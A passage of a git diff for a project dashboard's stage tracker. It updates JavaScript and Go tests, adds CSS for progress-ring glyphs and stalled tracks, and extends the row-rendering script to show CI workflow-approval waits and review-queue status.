strip ' + i + ' lights ' + litChevrons(s) + ' chevrons: ' + s); + if (s.includes('aria-current="step"')) assert.ok(filledChevrons(s) >= 1, 'fixture ' + (item.repo || '') + '#' + item.number + ' strip ' + i + ' has no filled chevron: ' + s); + wordsOnlyWhenActive(item, s); +}); const rawRowHtml = stageTrackerRowHtml; stageTrackerRowHtml = (item, stages, ctx) => { rebaseCoherent(item); const row = rawRowHtml(item, stages, ctx); atMostTwoLit(item, row); return row; }; // A row is a title line, its strip, then zero or more nested PR sub-rows. diff --git a/src/pkg/dashboard/stage_tracker_ui_rows_test.go b/src/pkg/dashboard/stage_tracker_ui_rows_test.go index efee6c4dc9..6797a4091d 100644 --- a/src/pkg/dashboard/stage_tracker_ui_rows_test.go +++ b/src/pkg/dashboard/stage_tracker_ui_rows_test.go @@ -683,12 +683,12 @@ assert.ok(/<span class="ham-since( ham-stalled)?">[^<]*<\/span>/.test(row) && !/ const review = /<li class="ham-seg ham-activity-track ([^"]*)" data-track="review"[^>]*>[\s\S]*?<\/li>/.exec(adoptedRow); assert.ok(review, 'review track present: ' + adoptedRow); assert.strictEqual(review[1], 'done decided', 'a finished review back in PR in progress is settled, not amber: ' + review[0]); - assert.ok(review[0].includes('Review 5/5 Β· changes requested</span>') && !review[0].includes('awaiting human') && !review[0].includes('data-motion='), review[0]); + assert.ok(review[0].includes('Review: Review 5/5 Β· changes requested Β· ') && !review[0].includes('awaiting human') && !review[0].includes('data-motion=') && review[0].includes('ham-ring-decided'), 'the verdict rides the tooltip; the inactive track is its ring alone: ' + review[0]); const ci = /<li class="ham-seg ham-activity-track ([^"]*)" data-track="ci"/.exec(adoptedRow); assert.strictEqual(ci[1], 'done', '11/11 passed is done-style: ' + adoptedRow); const parkedRow = stageTrackerRowHtml({ repo: 'acme/console', number: 16510, kind: 'pr', stage: 85, display_column: 85, head: 'f269349', needs_human: true, author: 'thatguywob', author_kind: 'human', review_activity: { head: 'f269349', state: 'human_decision', caption: 'Review findings Β· human decision', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: seen } }, stages, ctx); - assert.ok(/<li class="ham-seg ham-activity-track done decided" data-track="review"[^>]*>[\s\S]*?Review 5\/5 Β· needs owner sign-off<\/span>/.test(parkedRow), 'genuinely parked on a person names the sign-off, still not amber: ' + parkedRow); + assert.ok(/<li class="ham-seg ham-activity-track done decided" data-track="review"[^>]*title="Review: Review 5\/5 Β· needs owner sign-off Β· /.test(parkedRow), 'genuinely parked on a person names the sign-off in the tooltip, still not amber: ' + parkedRow); } // hivecommons/hive#16540 rows. #16509: adopted, CI 7/11 unreported, review // decided β†’ one lit chevron. #16268: waiting for the contributor, CI 7/11 @@ -703,13 +703,13 @@ assert.ok(/<span class="ham-since( ham-stalled)?">[^<]*<\/span>/.test(row) && !/ code_activity: { head: 'f269349', state: 'adopted', caption: 'Adopted by hive Β· activity', source: 'adoption', observed_at: seen }, ci_activity: unreported, review_activity: { head: 'f269349', state: 'human_decision', caption: 'Review findings Β· human decision', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: seen } }, stages, ctx); assert.strictEqual(lit(three), 1, 'adopted + unreported CI + decided review lights one chevron: ' + strip(three)); - assert.ok(/<li class="ham-seg ham-activity-track pending" data-track="ci"[^>]*>[\s\S]*?CI 7\/11 Β· test not reported<\/span>/.test(three), 'unreported checks are pending, not amber: ' + three); + assert.ok(/<li class="ham-seg ham-activity-track todo" data-track="ci"[^>]*title="CI: CI 7\/11 Β· test not reported Β· /.test(three), 'unreported checks are the neutral icon, words in the tooltip: ' + three); const owner = stageTrackerRowHtml({ repo: 'acme/console', number: 16268, kind: 'pr', stage: 71, display_column: 30, head: 'f269349', author: 'hanthor', author_kind: 'human', code_activity: { head: 'f269349', state: 'waiting_owner', caption: 'Waiting for @hanthor Β· not observed coding', actor: 'hanthor', source: 'native-author-wait', observed_at: seen }, ci_activity: unreported, review_activity: { head: 'f269349', state: 'approved', caption: 'Review approved', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: seen } }, stages, ctx); assert.strictEqual(lit(owner), 1, 'with the contributor: only the stage chevron is lit: ' + strip(owner)); assert.ok(/<li class="ham-seg active detoured"[^>]*aria-current="step"/.test(owner) && owner.includes('Waiting for @hanthor'), owner); - assert.ok(/data-track="ci"[^>]*>[\s\S]*?CI 7\/11 Β· test not reported<\/span>/.test(owner) && /<li class="ham-seg ham-activity-track done" data-track="review"[^>]*data-verdict="pass"[^>]*>[\s\S]*?ham-track-verdict"><svg [^>]*>[\s\S]*?<\/svg><\/span>[\s\S]*?Review: Review 5\/5 approved Β· /.test(owner), 'an approved review is the glyph alone, its count words in the tooltip: ' + owner); + assert.ok(/<li class="ham-seg ham-activity-track todo" data-track="ci"[^>]*title="CI: CI 7\/11 Β· test not reported Β· /.test(owner) && /<li class="ham-seg ham-activity-track done" data-track="review"[^>]*data-verdict="pass"[^>]*>[\s\S]*?ham-track-verdict"><svg [^>]*>[\s\S]*?<\/svg><\/span>[\s\S]*?Review: Review 5\/5 approved Β· /.test(owner), 'with the contributor both tracks are icons alone, words in the tooltips: ' + owner); const busy = stageTrackerRowHtml({ repo: 'acme/console', number: 16456, kind: 'pr', stage: 70, display_column: 30, head: 'f269349', author: 'hive[bot]', author_kind: 'hive', code_activity: { head: 'f269349', state: 'remediating', caption: 'Remediating Β· scanner Β· 4m', actor: 'scanner', active: true, source: 'fix-dispatch', observed_at: seen }, ci_activity: { head: 'f269349', state: 'running', active: true, caption: 'CI running', checks_passed: 4, checks_total: 11, source: 'checks', observed_at: seen }, @@ -763,6 +763,48 @@ assert.ok(/<span class="ham-since( ham-stalled)?">[^<]*<\/span>/.test(row) && !/ const nested = stageTrackerRowHtml({ repo: 'hivecommons/hive', number: 16500, kind: 'issue', stage: 40, linked_prs: [shape()] }, stages, ctx); assert.ok(nested.includes('Waiting for @clubanderson Β· rerun shared ci on GitHub'), 'nested PR carries the word: ' + nested); } +// hivecommons/hive#16599 rows (canonical: active = amber + words, inactive = +// icon only). #16567 (dependabot, 050, review approved, 10 workflow runs +// behind GitHub's approve-workflows gate): nothing moves, so the CI column +// is the stalled active track with the person icon and the words "1/11 Β· +// waiting on workflow approval"; Review is the green ring alone. #427 (050, +// swarm queued, CI passed): Review is the stage's own track, active even +// while queued; CI is the green icon only. CI running + swarm adjudicating +// lights both tracks with words, never a third. +{ + const seen = new Date(now - 60000).toISOString(); + const lit = (html) => litChevrons(strip(html)); + const gated = stageTrackerRowHtml({ repo: 'acme/console', number: 16567, kind: 'pr', stage: 50, display_column: 50, head: 'b9cd4ba', author: 'dependabot[bot]', author_kind: 'bot', + ci_activity: { head: 'b9cd4ba', state: 'missing', caption: 'CI waiting Β· 10 workflow runs need approval on GitHub', checks_passed: 1, checks_total: 11, blocker: 'workflow-approval-required:10', actor: 'dependabot[bot]', source: 'github-check-runs', observed_at: seen, workflow_approval: { pending: 10 } }, + review_activity: { head: 'b9cd4ba', state: 'approved', caption: 'Review approved', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: seen } }, stages, ctx); + assert.strictEqual(lit(gated), 1, 'the stalled CI column is the one active chevron: ' + strip(gated)); + assert.ok(/<li class="ham-seg ham-activity-track active ham-stalled ham-current" data-track="ci" data-stalled="true"(?![^>]*data-motion)[^>]*>[\s\S]*?CI 1\/11 Β· waiting on workflow approval<\/span><svg class="ham-ico ham-actor-ico"[^>]*aria-label="Needs a maintainer to approve the workflow runs on GitHub[^"]*"/.test(gated), 'stalled CI is amber-muted, still, names the wait and wears the person icon: ' + gated); + assert.ok(/<svg class="ham-ico ham-ring ham-ring-pass" [^>]*aria-label="CI: CI 1\/11 Β· waiting on workflow approval" data-ring-total="11" data-ring-done="1" data-ring-failed="0">/.test(gated), 'the CI glyph is the 11-step ring with one step done: ' + gated); + assert.ok(/<li class="ham-seg ham-activity-track done ham-current" data-track="review"[^>]*data-verdict="pass"[^>]*>[\s\S]*?ham-track-verdict"><svg class="ham-ico ham-ring ham-ring-pass"[^>]*data-ring-done="5"[\s\S]*?<\/svg><\/span><span id=/.test(gated), 'approved review is the green ring alone: ' + gated); + assert.ok(gated.includes('10 workflow runs need approval on GitHub'), 'the tooltip keeps the backend sentence: ' + gated); + const queued = stageTrackerRowHtml({ repo: 'acme/promptargs', number: 427, kind: 'pr', stage: 50, display_column: 50, head: '9bdf058', author: 'hive[bot]', author_kind: 'hive', + ci_activity: { head: '9bdf058', state: 'passing', caption: 'CI green', checks_passed: 11, checks_total: 11, source: 'checks', observed_at: seen }, + review_activity: { head: '9bdf058', state: 'unassigned', caption: 'Review queued Β· unassigned', perspectives_done: 0, perspectives_total: 5, source: 'review-dispatch-wait', observed_at: seen } }, stages, ctx); + assert.strictEqual(lit(queued), 1, 'the stage\'s own track is active while queued: ' + strip(queued)); + assert.ok(/<li class="ham-seg ham-activity-track active ham-current" data-track="review"(?![^>]*data-motion)[^>]*>[\s\S]*?Review 0\/5 Β· queued<\/span>/.test(queued), 'Review 0/5 Β· queued is amber and steady: ' + queued); + assert.ok(/<li class="ham-seg ham-activity-track done ham-current" data-track="ci"[^>]*data-verdict="pass"[^>]*>[\s\S]*?<svg class="ham-ico ham-ring ham-ring-pass"[^>]*data-ring-done="11"[\s\S]*?<\/svg><\/span><span id=/.test(queued) && queued.includes('CI: CI 11/11 passed Β· '), 'passed CI is the green ring, words in the tooltip: ' + queued); + const ahead = stageTrackerRowHtml({ repo: 'acme/promptargs', number: 427, kind: 'pr', stage: 50, display_column: 50, head: '9bdf058', author: 'hive[bot]', author_kind: 'hive', + ci_activity: { head: '9bdf058', state: 'passing', caption: 'CI green', checks_passed: 11, checks_total: 11, source: 'checks', observed_at: seen }, + review_activity: { head: '9bdf058', state: 'unassigned', caption: 'Review queued Β· unassigned', perspectives_done: 0, perspectives_total: 5, queue_ahead: 3, source: 'review-dispatch-wait', observed_at: seen } }, stages, ctx); + assert.ok(ahead.includes('Review 0/5 Β· queued, 3 ahead</span>'), ahead); + const progress = stageTrackerRowHtml({ repo: 'acme/promptargs', number: 427, kind: 'pr', stage: 50, display_column: 50, head: '9bdf058', author: 'hive[bot]', author_kind: 'hive', + ci_activity: { head: '9bdf058', state: 'missing', caption: 'CI waiting', checks_passed: 7, checks_total: 11, blocker: 'test', source: 'checks', observed_at: seen }, + review_activity: { head: '9bdf058', state: 'reviewing', active: true, caption: 'Review 2/5 Β· in progress', perspectives_done: 2, perspectives_total: 5, source: 'verified-review-bundle+stage-review-pending', observed_at: seen } }, stages, ctx); + assert.strictEqual(lit(progress), 1, 'review in progress lights the Review column only: ' + strip(progress)); + assert.ok(/<li class="ham-seg ham-activity-track active ham-current" data-track="review"[^>]*data-motion="active"[^>]*>[\s\S]*?Review 2\/5 Β· in progress<\/span>/.test(progress), progress); + assert.ok(/<li class="ham-seg ham-activity-track todo ham-current" data-track="ci"[^>]*>[\s\S]*?<svg class="ham-ico ham-ring ham-ring-pass"[^>]*data-ring-done="7"[\s\S]*?<\/svg><\/span><span id=/.test(progress) && progress.includes('CI: CI 7/11 Β· test not reported Β· '), 'unreported checks are the neutral ring, words in the tooltip: ' + progress); + assert.ok(/<svg class="ham-ico ham-ring ham-ring-live ham-ring-running" [^>]*data-ring-total="5" data-ring-done="2"/.test(progress) && (progress.match(/ham-ring-pulse/g) || []).length === 1, 'the review ring pulses its next step: ' + progress); + const both = stageTrackerRowHtml({ repo: 'acme/promptargs', number: 427, kind: 'pr', stage: 50, display_column: 50, head: '9bdf058', author: 'hive[bot]', author_kind: 'hive', + ci_activity: { head: '9bdf058', state: 'running', active: true, caption: 'CI running', checks_passed: 4, checks_total: 11, source: 'checks', observed_at: seen }, + review_activity: { head: '9bdf058', state: 'adjudicating', active: true, caption: 'Review 5/5 Β· verdicts in Β· aggregating', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: seen } }, stages, ctx); + assert.strictEqual(lit(both), 2, 'CI running + adjudicating: both tracks, no third: ' + strip(both)); + assert.ok(both.includes('CI 4/11 Β· running</span>') && both.includes('Review 5/5 Β· adjudicating</span>'), both); +} // Merged: the lit cap is the only chevron with hover text. row = stageTrackerRowHtml({ repo: 'acme/console', number: 106, kind: 'pr', stage: 110 }, stages, ctx); assert.ok(/<li class="ham-seg active cap merged" title="Merged β€” [^"]*" aria-current="step">/.test(row) && titled(strip(row)).length === 1, row); diff --git a/src/pkg/dashboard/stage_tracker_workflow_approval_test.go b/src/pkg/dashboard/stage_tracker_workflow_approval_test.go new file mode 100644 index 0000000000..0fbad0e85c --- /dev/null +++ b/src/pkg/dashboard/stage_tracker_workflow_approval_test.go @@ -0,0 +1,98 @@ +package dashboard + +import ( + "strings" + "testing" + "time" + + "github.com/hivecommons/hive/pkg/github" +) + +// A dependabot head whose 10 unreported required checks are workflow runs +// GitHub holds behind its approve-workflows gate reads as waiting on a +// person, not as "hasn't reported" (hivecommons/hive#16599). +func TestStageTrackerCIActivityWorkflowApproval(t *testing.T) { + now := time.Date(2026, 10, 21, 12, 0, 0, 0, time.UTC) + seen := now.Add(-2 * time.Hour) + required := []string{"verify", "build", "lint"} + activity := func(wa *github.PRWorkflowApproval) github.PullRequest { + return github.PullRequest{HeadSHA: "head", CIActivity: &github.PRCIActivity{ + Head: "head", Source: "github-check-runs", ObservedAt: &now, RequiredKnown: true, Required: required, StatusesKnown: true, + RequiredSource: "protection", + RequiredChecks: []github.PRRequiredCheck{{Name: "verify", AppKnown: true}, {Name: "build", AppKnown: true}, {Name: "lint", AppKnown: true}}, + Checks: []github.PRActivityCheck{{Name: "verify", State: "completed", Conclusion: "success"}}, + WorkflowApproval: wa, + }} + } + for _, tc := range []struct { + name string + wa *github.PRWorkflowApproval + wantBlocker string + wantCaption string + wantActor string + }{ + {"gated", &github.PRWorkflowApproval{Pending: 10, RunIDs: []int64{1}, Actor: "dependabot[bot]", ObservedAt: &seen}, + "workflow-approval-required:10", "CI waiting Β· 10 workflow runs need approval on GitHub", "dependabot[bot]"}, + {"single gated run", &github.PRWorkflowApproval{Pending: 1}, "workflow-approval-required:1", "CI waiting Β· 1 workflow run needs approval on GitHub", ""}, + {"no gate", nil, "build", "hasn't reported for this head yet", ""}, + {"empty record", &github.PRWorkflowApproval{}, "build", "hasn't reported for this head yet", ""}, + } { + t.Run(tc.name, func(t *testing.T) { + got := stageTrackerCIActivity(activity(tc.wa), now) + if got.State != "missing" || got.Active { + t.Fatalf("state=%q active=%v", got.State, got.Active) + } + if !strings.HasPrefix(got.Blocker, strings.TrimSuffix(tc.wantBlocker, "build")) || !strings.Contains(got.Caption, tc.wantCaption) { + t.Fatalf("blocker=%q caption=%q", got.Blocker, got.Caption) + } + if got.Actor != tc.wantActor { + t.Fatalf("actor=%q want %q", got.Actor, tc.wantActor) + } + if got.ChecksPassed != 1 || got.ChecksTotal != 3 { + t.Fatalf("counts %d/%d", got.ChecksPassed, got.ChecksTotal) + } + if tc.wa != nil && tc.wa.Pending > 0 { + if !strings.Contains(got.Detail, "approve workflows") { + t.Fatalf("detail=%q", got.Detail) + } + if tc.wa.ObservedAt != nil && (got.Since == nil || !got.Since.Equal(seen)) { + t.Fatalf("since=%v", got.Since) + } + } + }) + } +} + +// A PR at review pending (050) with no settled verdict is under review: +// "reviewing" with the posted-perspective count, never "unknown"; without +// a head bundle nothing has posted (hivecommons/hive#16599). +func TestStageTrackerReviewPendingState(t *testing.T) { + now := time.Date(2026, 10, 21, 12, 0, 0, 0, time.UTC) + for _, tc := range []struct { + name string + in StageTrackerActivity + stage int + wantState, wantCap string + wantDone, wantActive int + }{ + {"no evidence at 050", StageTrackerActivity{State: "unknown", Source: "unavailable", PerspectivesDone: 5, PerspectivesTotal: 5}, 50, "reviewing", "Review 0/5 Β· in progress", 0, 1}, + {"partial bundle at 050", StageTrackerActivity{State: "unknown", Source: "verified-review-bundle", PerspectivesDone: 1, PerspectivesTotal: 5}, 50, "reviewing", "Review 1/5 Β· in progress", 1, 1}, + {"all posted, no aggregate", StageTrackerActivity{State: "unknown", Source: "verified-review-bundle", PerspectivesDone: 5, PerspectivesTotal: 5}, 50, "adjudicating", "Review 5/5 Β· verdicts in Β· aggregating", 5, 1}, + {"not at 050", StageTrackerActivity{State: "unknown", Source: "unavailable", PerspectivesDone: 2, PerspectivesTotal: 5}, 30, "unknown", "", 2, 0}, + {"settled verdict untouched", StageTrackerActivity{State: "approved", Caption: "Review approved", PerspectivesDone: 5, PerspectivesTotal: 5}, 50, "approved", "Review approved", 5, 0}, + } { + t.Run(tc.name, func(t *testing.T) { + out := tc.in + stageTrackerReviewPendingState(&out, tc.stage, &now) + if out.State != tc.wantState || out.PerspectivesDone != tc.wantDone || out.Active != (tc.wantActive == 1) { + t.Fatalf("got %+v", out) + } + if tc.wantCap != "" && out.Caption != tc.wantCap { + t.Fatalf("caption=%q want %q", out.Caption, tc.wantCap) + } + if tc.wantActive == 1 && (out.ObservedAt == nil || !out.ObservedAt.Equal(now) && tc.in.ObservedAt == nil || !strings.Contains(out.Source, "stage-review-pending")) { + t.Fatalf("observed=%v source=%q", out.ObservedAt, out.Source) + } + }) + } +} diff --git a/src/pkg/dashboard/static-src/css/tracker.css b/src/pkg/dashboard/static-src/css/tracker.css index b68f720ef5..35f3b1bb75 100644 --- a/src/pkg/dashboard/static-src/css/tracker.css +++ b/src/pkg/dashboard/static-src/css/tracker.css @@ -355,7 +355,6 @@ done-style step that keeps its word (stage_tracker_remediation.go). */ .ham-seg.active.ham-remediation-unassigned { background: color-mix(in srgb, var(--amber) 70%, var(--red)); } .ham-seg.done.ham-fix-pushed { color: var(--green); } - .ham-seg.done.ham-fix-pushed .ham-seg-t::before { content: 'βœ“'; margin-right: var(--sp-1); } .ham-seg.todo { background: transparent; color: var(--text-faint); box-shadow: inset 0 0 0 var(--line-width) var(--line-subtle); opacity: 0.5; } .ham-seg.blank { visibility: hidden; } .ham-sub { display: grid; grid-template-columns: minmax(0, 1fr); min-width: 0; gap: var(--sp-2); margin-top: var(--sp-3); position: relative; } @@ -390,6 +389,31 @@ .ham-seg.active.ham-settled-current { background: var(--surface-3); color: var(--text); animation: none; } .ham-seg.active.ham-settled-current::before { display: none; } .ham-seg.ham-activity-track.done.decided { background: var(--panel-strong); color: var(--muted); box-shadow: none; opacity: 1; animation: none; } + /* A row always has one filled chevron (hivecommons/hive#16599). When + nothing moves on a review-pending row and the stage track has + settled, the blocker's track is filled stalled: a still, muted amber + (muted red on a finding), words kept, person icon when a human + action moves it (workflow approval, a sign-off). */ + .ham-seg.ham-activity-track.active.ham-stalled { background: color-mix(in srgb, var(--amber) 55%, var(--panel-strong)); color: var(--text); animation: none; } + .ham-seg.ham-activity-track.active.ham-stalled::before { display: none; } + .ham-seg.ham-activity-track.ham-stalled .ham-actor-ico { margin-left: var(--sp-1); flex: 0 0 auto; } + /* The CI / Review glyph is a ring of steps (checks / perspectives, + hivecommons/hive#16599): filled clockwise from twelve β€” done in the + track's colour, failed red, the rest the muted track. While the + track runs the next step pulses. Tokens only; the SVG has no colour. */ + .ham-ring { width: 14px; height: 14px; } + .ham-ring .ham-ring-seg, .ham-ring .ham-ring-track { stroke: var(--line-strong); } + .ham-ring .ham-ring-rest { stroke: color-mix(in srgb, currentColor 28%, transparent); } + .ham-ring .ham-ring-done { stroke: var(--green); } + .ham-ring-fail .ham-ring-done { stroke: var(--status-error); } + .ham-ring-live .ham-ring-done { stroke: var(--amber); } + .ham-ring-decided .ham-ring-done { stroke: var(--muted); } + .ham-ring .ham-ring-failed { stroke: var(--status-error); } + .ham-seg.active .ham-ring .ham-ring-done, .ham-seg.active .ham-ring .ham-ring-failed { stroke: var(--surface-0); } + .ham-seg.active .ham-ring .ham-ring-rest { stroke: color-mix(in srgb, var(--surface-0) 35%, transparent); } + .ham-ring .ham-ring-pulse { stroke: currentColor; animation: ham-ring-step 1.2s ease-in-out infinite; } + @keyframes ham-ring-step { 0%, 100% { opacity: 0.25; } 50% { opacity: 1; } } + @media (prefers-reduced-motion: reduce) { .ham-ring .ham-ring-pulse { animation: none; opacity: 0.7; } } /* The count words stay on one line and ellipsize instead of wrapping. */ .ham-chevron-copy.ham-track-state .ham-ico { vertical-align: -2px; margin-right: 3px; } /* A settled verdict is the glyph alone (green passed / approved, red diff --git a/src/pkg/dashboard/static-src/js/tracker-row-strip.js b/src/pkg/dashboard/static-src/js/tracker-row-strip.js index bd577488fd..a57190b1bb 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-strip.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-strip.js @@ -64,7 +64,10 @@ case 'running': return count + ' Β· running' + (failing ? ' Β· ' + failing : ''); case 'queued': return count + ' Β· queued' + (failing ? ' Β· ' + failing : ''); case 'skipped': return count + ' Β· ' + (blocker ? blocker + ' skipped' : 'skipped'); - case 'missing': return count + ' Β· ' + (passed ? (blocker ? blocker + ' not reported' : 'not all reported') : 'no checks reported yet') + (failing ? ' Β· ' + failing : ''); + case 'missing': { + if (stageTrackerWorkflowApprovalPending(a) > 0) return count + ' Β· waiting on workflow approval' + (failing ? ' Β· ' + failing : ''); + return count + ' Β· ' + (passed ? (blocker ? blocker + ' not reported' : 'not all reported') : 'no checks reported yet') + (failing ? ' Β· ' + failing : ''); + } default: return count + ' Β· ' + (total ? 'no verdict yet' : 'no checks reported yet'); } } @@ -91,11 +94,101 @@ const mine = !!me && new RegExp('@' + me.replace(/[.*+?^${}()|[\]\\]/g, '\\$&') + '(?![\\w-])').test(q); return count + (mine ? ' Β· needs your sign-off' : ' Β· needs owner sign-off'); } - case 'reviewing': case 'adjudicating': return count + ' Β· ' + (actor ? actor + ' reviewing' : 'reviewing'); - case 'assigned': return count + ' Β· ' + (actor ? actor + ' queued' : 'queued'); - case 'unassigned': return count + ' Β· swarm requested'; - default: return count + ' Β· ' + (newHead ? 're-review pending (new head)' : total && done ? 'perspectives' : 'swarm requested'); + case 'reviewing': return count + ' Β· ' + (actor ? actor + ' reviewing' : 'in progress'); + case 'adjudicating': return count + ' Β· ' + (actor ? actor + ' adjudicating' : 'adjudicating'); + case 'assigned': return count + ' Β· ' + (actor ? actor + ' queued' : 'queued') + stageTrackerQueueAheadWord(a); + case 'unassigned': return count + ' Β· queued' + stageTrackerQueueAheadWord(a); + default: return count + ' Β· ' + (newHead ? 're-review pending (new head)' : total && done ? 'perspectives' : 'queued'); + } + } + + // Unreported checks whose workflow runs sit behind GitHub's + // approve-workflows gate (dependabot, forks): the CI blocker reads + // "workflow-approval-required:<n>" (stage_tracker_activity.go). A + // person's click moves them, so the chevron names the wait and wears + // the person icon (hivecommons/hive#16599). + const STAGE_TRACKER_WORKFLOW_APPROVAL_BLOCKER = 'workflow-approval-required:'; + const STAGE_TRACKER_WORKFLOW_APPROVAL_TIP = 'Needs a maintainer to approve the workflow runs on GitHub before the checks can start'; + function stageTrackerWorkflowApprovalPending(a) { + if (!a) return 0; + const b = String(a.blocker || ''); + if (b.indexOf(STAGE_TRACKER_WORKFLOW_APPROVAL_BLOCKER) === 0) return Math.max(1, Number(b.slice(STAGE_TRACKER_WORKFLOW_APPROVAL_BLOCKER.length)) || 0); + return a.workflow_approval && Number(a.workflow_approval.pending) > 0 ? Number(a.workflow_approval.pending) : 0; + } + + // The tiny ring in a CI / Review chevron: total steps around the + // circle, filled clockwise from twelve β€” done (green or the state's + // colour) first, then failed (red), the rest the muted track. Steps are + // separated by a gap up to 16 of them, a continuous arc beyond. While + // the track runs the next step pulses. Colours are CSS classes only + // (tracker.css tokens); the SVG carries no raw colour. + const STAGE_TRACKER_RING_SEGMENT_GAP_MAX = 16; + const STAGE_TRACKER_RING_RADIUS = 6; + const STAGE_TRACKER_RING_GAP_DEG = 14; + function stageTrackerRingSvg(done, total, failed, state, label) { + const t = Math.max(0, Math.floor(Number(total) || 0)); + const d = Math.min(t, Math.max(0, Math.floor(Number(done) || 0))); + const f = Math.min(t - d, Math.max(0, Math.floor(Number(failed) || 0))); + const st = String(state || ''); + const running = ['running', 'queued', 'reviewing', 'adjudicating', 'assigned'].includes(st); + const tone = st === 'changes_requested' || st === 'failing' ? 'fail' : st === 'approved' || st === 'passing' ? 'pass' : st === 'human_decision' ? 'decided' : running ? 'live' : 'pass'; + const a11y = label || (t ? `${d} of ${t} done` + (f ? `, ${f} failed` : '') : 'no steps'); + const r = STAGE_TRACKER_RING_RADIUS, c = 8; + const pt = (deg) => { const rad = (deg - 90) * Math.PI / 180; return (c + r * Math.cos(rad)).toFixed(2) + ' ' + (c + r * Math.sin(rad)).toFixed(2); }; + const arc = (from, to, cls) => { + if (to - from >= 360) return `<circle class="${cls}" cx="${c}" cy="${c}" r="${r}"/>`; + if (to <= from) return ''; + const large = to - from > 180 ? 1 : 0; + return `<path class="${cls}" d="M${pt(from)} A${r} ${r} 0 ${large} 1 ${pt(to)}"/>`; + }; + const open = `<svg class="ham-ico ham-ring ham-ring-${tone}${running ? ' ham-ring-running' : ''}" viewBox="0 0 16 16" fill="none" stroke-width="2.2" stroke-linecap="butt" role="img" aria-label="${esc(a11y)}" data-ring-total="${t}" data-ring-done="${d}" data-ring-failed="${f}">`; + if (!t) return open + `<circle class="ham-ring-track" cx="${c}" cy="${c}" r="${r}"/></svg>`; + const next = Math.min(t - 1, d + f); + const segs = []; + if (t <= STAGE_TRACKER_RING_SEGMENT_GAP_MAX) { + const step = 360 / t; + const gap = t === 1 ? 0 : Math.min(STAGE_TRACKER_RING_GAP_DEG, step / 3); + for (let i = 0; i < t; i++) { + const cls = 'ham-ring-seg ' + (i < d ? 'ham-ring-done' : i < d + f ? 'ham-ring-failed' : 'ham-ring-rest') + (running && i === next ? ' ham-ring-pulse' : ''); + segs.push(arc(i * step + gap / 2, (i + 1) * step - gap / 2, cls)); + } + } else { + const unit = 360 / t; + segs.push(arc(0, 360, 'ham-ring-seg ham-ring-rest ham-ring-track')); + segs.push(arc(0, d * unit, 'ham-ring-seg ham-ring-done')); + segs.push(arc(d * unit, (d + f) * unit, 'ham-ring-seg ham-ring-failed')); + if (running && d + f < t) segs.push(arc(next * unit, (next + 1) * unit, 'ham-ring-seg ham-ring-rest ham-ring-pulse')); } + return open + segs.join('') + '</svg>'; + } + + // Which chevron carries a row stuck at column 50 with no track in + // motion: the track that has not settled β€” CI unless it passed, else + // Review (a pending verdict or a sign-off). A row never shows no + // filled chevron (hivecommons/hive#16599). + function stageTrackerStalledTrack(item) { + const on = kind => { const a = item && item[kind + '_activity']; return a && item.head && a.head === item.head ? a.state || 'unknown' : 'unknown'; }; + if (typeof stageTrackerStageTrack === 'function' && stageTrackerStageTrack(item)) return ''; + if (on('ci') !== 'passing') return 'ci'; + return 'review'; + } + + // ", 3 ahead" when the backend knows the swarm queue position. + function stageTrackerQueueAheadWord(a) { + const n = a && Number(a.queue_ahead); + return Number.isFinite(n) && n > 0 ? ', ' + n + ' ahead' : ''; + } + + // The track that IS the item's current stage: at review pending (050) + // the Review column. It is lit whenever its verdict has not settled β€” + // queued, in progress, adjudicating alike β€” because the chevron that + // corresponds to the stage is the lit one (hivecommons/hive#16599, + // reversing #16545's "queued = pending" for the stage column only). + function stageTrackerStageTrack(item) { + if (!item || Number(item.stage) !== 50) return ''; + const a = item.review_activity; + const st = a && item.head && a.head === item.head ? a.state || 'unknown' : 'unknown'; + return ['approved', 'changes_requested', 'human_decision'].includes(st) ? '' : 'review'; } function stageTrackerHiveOwnsRepair(item) { @@ -142,7 +235,7 @@ // field β€” only a running track is filled (hivecommons/hive#16540); not // started = the empty chevron with the glyph alone. Freshness gates only // the pulse. - function stageTrackerActivityTrackHtml(item, kind, sg, blank, nowMs) { + function stageTrackerActivityTrackHtml(item, kind, sg, blank, nowMs, opts) { if (blank) return `<li class="ham-seg blank" data-track="${kind}" data-route-state="blank" aria-hidden="true"></li>`; const name = kind === 'ci' ? 'CI' : 'Review'; const a = item && item[kind + '_activity']; @@ -161,13 +254,23 @@ const text = typeof stageTrackerTrackWord === 'function' ? stageTrackerTrackWord(item, kind, current) : (matches ? a.caption || name + ' ' + state : ''); const finished = matches && (state === 'passing' || state === 'approved'); const finding = matches && (state === 'failing' || state === 'changes_requested'); - // A complete verdict parked on a person is settled, not in progress: - // done-style, muted, never the amber fill (hivecommons/hive#16509 row). + // A complete verdict parked on a person is settled (muted icon). const settled = matches && state === 'human_decision' && (!known || !a.active); - // At most two chevrons on a row are ever amber: a track is active - // only while it is running; words without motion are pending. + // ACTIVE = filled amber with its words; 1 ≀ active ≀ 2 on a row. A + // track is active while it genuinely runs on the current head, when + // it is the stage's own track (stageTrackerStageTrack), or when it is + // the stalled blocker of a row with nothing in motion (opts.stalled, + // still amber-muted). Everything else is the icon alone β€” green for + // a pass, red for a finding, neutral when not run or decided β€” with + // its count words in the tooltip (hivecommons/hive#16599). const running = stageTrackerTrackRunning(item, kind); - const cls = finished ? 'done' : finding ? 'failing' : settled ? 'done decided' : running ? 'active' : text ? 'pending' : 'todo'; + const stageTrack = current && typeof stageTrackerStageTrack === 'function' && stageTrackerStageTrack(item) === kind; + const stalled = !!(opts && opts.stalled) && current && !running; + const lit = running || stageTrack || stalled; + const cls = lit ? 'active' + (stalled ? ' ham-stalled' : '') : finished ? 'done' : finding ? 'failing' : settled ? 'done decided' : 'todo'; + const approvalPending = kind === 'ci' && matches ? stageTrackerWorkflowApprovalPending(a) : 0; + const humanAction = approvalPending > 0 ? STAGE_TRACKER_WORKFLOW_APPROVAL_TIP : kind === 'review' && state === 'human_decision' ? 'Needs a person\'s decision' : ''; + const personIco = stalled && humanAction ? stageTrackerIcon('human', 'ham-ico ham-actor-ico', humanAction) : ''; const source = matches ? a.source || 'unavailable' : 'unavailable'; const freshness = !Number.isFinite(observed) 